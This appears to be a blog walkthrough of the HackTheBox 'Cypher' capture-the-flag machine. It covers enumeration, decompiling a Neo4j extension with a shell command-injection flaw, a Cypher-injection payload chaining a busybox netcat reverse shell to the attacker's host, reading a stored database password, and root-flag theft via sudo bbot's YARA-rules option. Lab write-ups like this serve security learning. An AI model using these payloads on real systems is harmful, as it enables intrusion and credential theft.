Post

Cypher HackTheBox

Cypher HackTheBox

Introduction

Cypher on HackTheBox is an important aspect of the cybersecurity CTF challenges. It is a CTF on linux that involves enumeration, google dorking, decomplier java file, command injection and cypher injection.

Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(trit㉿chimp)-[~/HackTheBox/Cypher]
└─$ nmap -A 10.10.11.57

Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-01 22:58 EST
Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 0 undergoing Script Pre-Scan
NSE Timing: About 0.00% done
Nmap scan report for cypher.htb (10.10.11.57)
Host is up (0.045s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA)
|_  256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: GRAPH ASM
|_http-server-header: nginx/1.24.0 (Ubuntu)
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Add cypher.htb into /etc/hosts file.

1
2
3
4
┌──(trit㉿chimp)-[~/HackTheBox/Cypher]
└─$ echo "10.10.11.57   cypher.htb" | sudo tee -a /etc/hosts
[sudo] password for trit: 
10.10.11.57   cypher.htb

Download file to attack machine kali Linux.

1
2
3
4
5
6
7
8
9
10
11
12
┌──(trit㉿chimp)-[~/HackTheBox/Cypher]
└─$ wget http://cypher.htb/testing/custom-apoc-extension-1.0-SNAPSHOT.jar
--2025-03-02 01:19:41--  http://cypher.htb/testing/custom-apoc-extension-1.0-SNAPSHOT.jar
Resolving cypher.htb (cypher.htb)... 10.10.11.57
Connecting to cypher.htb (cypher.htb)|10.10.11.57|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 6556 (6.4K) [application/java-archive]
Saving to: ‘custom-apoc-extension-1.0-SNAPSHOT.jar’

custom-apoc-extension-1.0-SNAPSHOT.j 100%[===================================================================>]   6.40K  --.-KB/s    in 0.003s  

2025-03-02 01:19:41 (2.05 MB/s) - ‘custom-apoc-extension-1.0-SNAPSHOT.jar’ saved [6556/6556]

Decomplier file

First, I unzip the custom-apoc-extension-1.0-SNAPSHOT.jar file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(trit㉿chimp)-[~/HackTheBox/Cypher]
└─$ unzip custom-apoc-extension-1.0-SNAPSHOT.jar 
Archive:  custom-apoc-extension-1.0-SNAPSHOT.jar
creating: META-INF/
inflating: META-INF/MANIFEST.MF    
creating: com/
creating: com/cypher/
creating: com/cypher/neo4j/
creating: com/cypher/neo4j/apoc/
inflating: com/cypher/neo4j/apoc/CustomFunctions$StringOutput.class  
inflating: com/cypher/neo4j/apoc/HelloWorldProcedure.class  
inflating: com/cypher/neo4j/apoc/CustomFunctions.class  
inflating: com/cypher/neo4j/apoc/HelloWorldProcedure$HelloWorldOutput.class  
creating: META-INF/maven/
creating: META-INF/maven/com.cypher.neo4j/
creating: META-INF/maven/com.cypher.neo4j/custom-apoc-extension/
inflating: META-INF/maven/com.cypher.neo4j/custom-apoc-extension/pom.xml  
inflating: META-INF/maven/com.cypher.neo4j/custom-apoc-extension/pom.properties 

Next, I decomplie the com/cypher/neo4j/apoc/CustomFunctions.class file here.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package com.cypher.neo4j.apoc;

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.util.Arrays;
import java.util.concurrent.TimeUnit;
import java.util.stream.Stream;
import org.neo4j.procedure.Description;
import org.neo4j.procedure.Mode;
import org.neo4j.procedure.Name;
import org.neo4j.procedure.Procedure;

public class CustomFunctions {
   @Procedure(
      name = "custom.getUrlStatusCode",
      mode = Mode.READ
   )
   @Description("Returns the HTTP status code for the given URL as a string")
   public Stream<com.cypher.neo4j.apoc.CustomFunctions.StringOutput> getUrlStatusCode(@Name("url") String url) throws Exception {
      if (!url.toLowerCase().startsWith("http://") && !url.toLowerCase().startsWith("https://")) {
         url = "https://" + url;
      }

      String[] command = new String[]{"/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url};
      System.out.println("Command: " + Arrays.toString(command));
      Process process = Runtime.getRuntime().exec(command);
      BufferedReader inputReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
      BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream()));
      StringBuilder errorOutput = new StringBuilder();

      String line;
      while((line = errorReader.readLine()) != null) {
         errorOutput.append(line).append("\n");
      }

      String statusCode = inputReader.readLine();
      System.out.println("Status code: " + statusCode);
      boolean exited = process.waitFor(10L, TimeUnit.SECONDS);
      if (!exited) {
         process.destroyForcibly();
         statusCode = "0";
         System.err.println("Process timed out after 10 seconds");
      } else {
         int exitCode = process.exitValue();
         if (exitCode != 0) {
            statusCode = "0";
            System.err.println("Process exited with code " + exitCode);
         }
      }

      if (errorOutput.length() > 0) {
         System.err.println("Error output:\n" + errorOutput.toString());
      }

      return Stream.of(new com.cypher.neo4j.apoc.CustomFunctions.StringOutput(statusCode));
   }
}

Notice the code below.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public class CustomFunctions {
   @Procedure(
      name = "custom.getUrlStatusCode",
      mode = Mode.READ
   )
   @Description("Returns the HTTP status code for the given URL as a string")
   public Stream<com.cypher.neo4j.apoc.CustomFunctions.StringOutput> getUrlStatusCode(@Name("url") String url) throws Exception {
      if (!url.toLowerCase().startsWith("http://") && !url.toLowerCase().startsWith("https://")) {
         url = "https://" + url;
      }

      String[] command = new String[]{"/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url};
      System.out.println("Command: " + Arrays.toString(command));
      Process process = Runtime.getRuntime().exec(command);
      BufferedReader inputReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
      BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream()));
      StringBuilder errorOutput = new StringBuilder();

      String line;
      while((line = errorReader.readLine()) != null) {
         errorOutput.append(line).append("\n");
      }
   }
}

This code contains a critical Cypher Injection vulnerability, allowing an attacker to execute arbitrary commands on the server.

1
{"/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url}

Explain of the Command

ComponentMeaning
/bin/shExecutes the command in a shell environment (sh or bash).
-cTells the shell to execute the following command as a string.
curlSends an HTTP request to a URL.
-sSilent mode: Hides progress and error messages.
-o /dev/nullRedirects the response body to /dev/null (discards it).
--connect-timeout 1Sets the maximum connection time to 1 second.
-w %{http_code}Outputs only the HTTP status code (e.g., 200, 404).
<URL>The target website being checked.

You can prefer neo4j and this blog.

Edit shell below and past into username field.

1
    "a' return h.value as a UNION CALL custom.getUrlStatusCode("http://10.10.x.x;busybox nc 10.10.x.x 4444 -e sh;#") YIELD statusCode AS a RETURN a;//"

Another command line, I execute this command to listen port 4444.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
┌──(trit㉿chimp)-[~/HackTheBox/Cypher]
└─$ nc -lnvp 4444       
listening on [any] 4444 ...
connect to [10.10.14.185] from (UNKNOWN) [10.10.11.57] 52718
id
uid=110(neo4j) gid=111(neo4j) groups=111(neo4j)
ls
bin
bin.usr-is-merged
boot
cdrom
dev
etc
home
lib
lib.usr-is-merged
lib64
lost+found
media
mnt
opt
proc
root
run
sbin
sbin.usr-is-merged
srv
sys
tmp
usr
var
cd /home
ls
graphasm
cd graphasm
ls
bbot_preset.yml
user.txt
cat user.txt
cat bbot_preset.yml
targets:
  - ecorp.htb

output_dir: /home/graphasm/bbot_scans

config:
  modules:
    neo4j:
      username: neo4j
      password: cU4btyib.***************

Connect SSH Server

1
2
3
4
5
6
7
8
┌──(trit㉿chimp)-[~/HackTheBox/Cypher]
└─$ ssh graphasm@10.10.11.57
graphasm@10.10.11.57's password: 
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-53-generic x86_64)

graphasm@cypher:~$ ls
bbot_preset.yml  user.txt
graphasm@cypher:~$ cat user.txt 

I prefre about bbot tool this website.

1
sudo /usr/local/bin/bbot --custom-yara-rules /root/root.txt
1
sudo /usr/local/bin/bbot -cy /root/root.txt -d --dry-run
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
graphasm@cypher:~$ sudo -l
Matching Defaults entries for graphasm on cypher:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User graphasm may run the following commands on cypher:
    (ALL) NOPASSWD: /usr/local/bin/bbot
graphasm@cypher:~$ cat /usr/local/bin/bbot
#!/opt/pipx/venvs/bbot/bin/python
# -*- coding: utf-8 -*-
import re
import sys
from bbot.cli import main
if __name__ == '__main__':
    sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
    sys.exit(main())
graphasm@cypher:~$ sudo /usr/local/bin/bbot --custom-yara-rules /root/root.txt -d 

Thank you for readling this far! I hope this writeup helps you in your learning and research.

This post is licensed under CC BY 4.0 by the author.